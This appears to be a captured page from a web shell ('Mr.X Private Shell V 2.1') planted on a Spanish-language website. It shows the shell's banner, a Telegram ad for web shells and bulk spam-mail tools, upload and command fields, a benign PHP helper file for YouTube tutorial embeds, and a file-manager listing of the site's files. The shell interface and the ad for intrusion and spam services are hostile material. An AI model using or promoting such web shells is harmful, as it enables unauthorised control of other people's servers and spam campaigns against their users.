__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
declare(strict_types=1);

function tutorialSourceType(array $tutorial): string
{
    return (string) (($tutorial['source'] ?? [])['type'] ?? 'pending');
}

function tutorialHasMedia(array $tutorial): bool
{
    $type = tutorialSourceType($tutorial);
    return $type === 'youtube' || $type === 'local';
}

function tutorialEmbedUrl(array $tutorial): string
{
    $source = $tutorial['source'] ?? [];
    $type = tutorialSourceType($tutorial);

    if ($type === 'youtube') {
        $src = (string) ($source['src'] ?? '');
        $kind = (string) ($source['kind'] ?? 'video');

        if ($kind === 'playlist') {
            return 'https://www.youtube.com/embed/videoseries?list=' . rawurlencode($src) . '&rel=0&modestbranding=1';
        }

        return 'https://www.youtube.com/embed/' . rawurlencode($src) . '?rel=0&modestbranding=1';
    }

    if ($type === 'local') {
        return (string) ($source['src'] ?? '');
    }

    return '';
}

function tutorialOpenUrl(array $tutorial): string
{
    $source = $tutorial['source'] ?? [];
    $type = tutorialSourceType($tutorial);

    if ($type === 'youtube') {
        $src = (string) ($source['src'] ?? '');
        $kind = (string) ($source['kind'] ?? 'video');

        if ($kind === 'playlist') {
            return 'https://www.youtube.com/playlist?list=' . rawurlencode($src);
        }

        return 'https://www.youtube.com/watch?v=' . rawurlencode($src);
    }

    if ($type === 'local') {
        return (string) ($source['src'] ?? '');
    }

    return '';
}

function tutorialSourceLabel(array $tutorial): string
{
    $type = tutorialSourceType($tutorial);

    if ($type === 'local') {
        return 'Video local';
    }

    if ($type === 'youtube') {
        return 'YouTube';
    }

    return 'Pendiente';
}

function tutorialFallbackMessage(array $tutorial): string
{
    return tutorialHasMedia($tutorial)
        ? 'No fue posible cargar este video. Revisa la URL o reemplázalo por un archivo local dentro de la carpeta video/.'
        : 'Este tutorial fue agregado al listado, pero todavía no tiene un video asociado. Cuando lo tengas, podrás cargarlo desde YouTube o desde la carpeta video/.';
}

function prepareTutorial(array $tutorial): array
{
    $tutorial['source_type'] = tutorialSourceType($tutorial);
    $tutorial['has_media'] = tutorialHasMedia($tutorial);
    $tutorial['embed_url'] = tutorialEmbedUrl($tutorial);
    $tutorial['open_url'] = tutorialOpenUrl($tutorial);
    $tutorial['source_label'] = tutorialSourceLabel($tutorial);
    $tutorial['fallback_message'] = tutorialFallbackMessage($tutorial);
    return $tutorial;
}

Filemanager

Name Type Size Permission Actions
cajabusqueda.php File 1.74 KB 0664
documentos_apoyo.php File 3.24 KB 0664
encabezado.php File 7.71 KB 0664
head.php File 633 B 0664
home_slider_helpers.php File 2.37 KB 0664
home_sliders.php File 574 B 0664
mas_servicios.php File 2.98 KB 0664
nav.php File 7.06 KB 0664
piepagina.php File 10.23 KB 0664
slider_capacitaciones.php File 10.6 KB 0664
slider_capacitaciones_banners.php File 4.86 KB 0664
slider_publicaciones.php File 4.13 KB 0664
tutoriales_helpers.php File 2.58 KB 0664
Filemanager